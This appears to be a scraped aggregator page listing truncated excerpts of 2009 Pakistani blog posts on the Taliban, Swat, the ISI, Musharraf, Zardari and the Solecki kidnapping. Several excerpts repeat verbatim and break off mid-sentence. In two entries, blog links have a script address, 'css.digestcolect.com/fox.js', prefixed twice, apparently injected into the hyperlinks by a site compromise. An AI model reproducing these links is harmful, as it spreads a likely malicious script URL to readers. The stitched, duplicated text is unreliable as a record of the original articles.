General Musharraf, Taliban and the Strategic Depth Doctrine: General Musharraf and Taliban After President Asif Ali Zardari said on CBS News that “Pakistani forces are fighting the Taliban for the survival of Pakistan”, General (Retd) Pervez Musharraf kind of “gilded the lily” by stating in Islamabad that

Are Taliban inevitable? Our response: from apathy to concern…: Are Taliban inevitable? Monday, February 16, 2009 by Saba Gul Khattak The targeted killing of an MPA in Peshawar sadly is not the last in a long chain of murders and violence in NWFP. Many councillors and high-profile politicians

Are Taliban inevitable? Our response: from apathy to concern…: Are Taliban inevitable? Monday, February 16, 2009 by Saba Gul Khattak The targeted killing of an MPA in Peshawar sadly is not the last in a long chain of murders and violence in NWFP. Many councillors and high-profile politicians

A tribute to the real heroes of Pakistan: From The Citizens Foundation to Rizwan Scholars: A tribute to the real heroes of Pakistan In the national interest Monday, February 16, 2009 by Kamal Siddiqi The writer is editor reporting, The News These are gloomy times for Pakistan with many doubting what the future holds

A tribute to the real heroes of Pakistan: From The Citizens Foundation to Rizwan Scholars: A tribute to the real heroes of Pakistan In the national interest Monday, February 16, 2009 by Kamal Siddiqi The writer is editor reporting, The News These are gloomy times for Pakistan with many doubting what the future holds

Remembering a true Sufi: Pir Naseeruddin of Golra Sharif: Pir Naseeruddin of Golra Sharif passes away Observer Report Islamabad—Sajjada Nasheen of Golra Sharif Pir Syed Naseeruddin Nasir died of heart attack in Islamabad Friday. He was fifty-nine years of age. Naseeruddin Gilani was true Ashaq-e-Rasool, spiritual leader, religious

Remembering a true Sufi: Pir Naseeruddin of Golra Sharif: Pir Naseeruddin of Golra Sharif passes away Observer Report Islamabad—Sajjada Nasheen of Golra Sharif Pir Syed Naseeruddin Nasir died of heart attack in Islamabad Friday. He was fifty-nine years of age. Naseeruddin Gilani was true Ashaq-e-Rasool, spiritual leader, religious

Taliban kidnapping and Fatwas forcing journalists to toe pro-Taliban line…: Taliban’s ties with mediaBy Syed Irfan Ashraf TALIBANISATION is a carefully designed package comprising an assortment of soft and hard parts. Both are used as it is against the rules of the deadly game to nurture one category while

Sharia “Justice” comes to Swat again? Two divergent perspectives: Here are two divergent perspectives; the first one by Najam Sethi, a progressive, secular journalist, and the second one by Ansar Abbasi, a conservative, pro-Taliban journalist. Sharia “justice” comes to Swat again? Shara’i Nizam-e-Adl Regulation is about to be

Sharia "Justice" comes to Swat again? Two divergent perspectives: Here are two divergent perspectives; the first one by Najam Sethi, a progressive, secular journalist, and the second one by Ansar Abbasi, a conservative, pro-Taliban journalist. Sharia “justice” comes to Swat again? Shara’i Nizam-e-Adl Regulation is about to be

Sharia "Justice" comes to Swat again? Two divergent perspectives: Here are two divergent perspectives; the first one by Najam Sethi, a progressive, secular journalist, and the second one by Ansar Abbasi, a conservative, pro-Taliban journalist. Sharia “justice” comes to Swat again? Shara’i Nizam-e-Adl Regulation is about to be

A perspective on Ex-Servicemen’s Association: Rauf Klasra: Hamid Gul, Asad Durrani, Aslam Beg are the real saviours of this nation. Really? Read related posts on Ex-Servicemen’s Association and their “services” to Pakistan:http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&letusbuildpakistan.blogspot.com/search/label/Ex-Servicemen%27s%20Association

A perspective on Ex-Servicemen’s Association: Rauf Klasra: Hamid Gul, Asad Durrani, Aslam Beg are the real saviours of this nation.

Zardari committed to eliminate Taliban from Pakistan: Pakistan ‘in fight for survival’ Mr Zardari said many people had underestimated the Taleban Pakistan’s president says his country is fighting for its survival against the Taleban, whose influence he said has spread deep into the country. In an

Zardari committed to eliminate Taliban from Pakistan:

ISI and Taliban successful in their designs in Swat? Has the State of Pakistan surrendered to radical Islamists? Welcome Taliban, Goodbye Jinnah?: well done, Qazi and Imran Khan, poodles of ISI and Taliban. Government and TNSM agree on sharia enforcement in Swat * Implementation likely to come into effect in coming week PESHAWAR: The NWFP government and Tehreek-e-Nifaz-e-Shariat Muhammadi (TNSM) leader

Has the State of Pakistan surrendered to radical Islamists in Swat?:

Kidnapping of John Solecki: A joint act of terror engineered by Taliban and ISI, disguised as Baloch nationalists?: Based on various media reports, mainly compiled by Malik Siraj Akbar: According to a recent internet survey in Pakistan, the majority of people do not believe that Baloch nationalists are involved in the kidnapping of John Solecki. http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&gmcmissing.wordpress.com/tag/john-solecki/ A

Kidnapping of John Solecki: A joint act of terror engineered by Taliban and ISI, disguised as Baloch nationalists?: Based on various media reports, mainly compiled by Malik Siraj Akbar: According to a recent internet survey in Pakistan, the majority of people do not believe that Baloch nationalists are involved in the kidnapping of John Solecki. http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&gmcmissing.wordpress.com/tag/john-solecki/ A

Jane’s Swat holiday – By Masood Hasan: Jane’s Swat holiday Sunday, February 15, 2009 Masood Hasan (Jane and Harry, two American tourists, decided to take a holiday in Swat recently. Their reasons were simple. Harry has been a member of the AA and not made much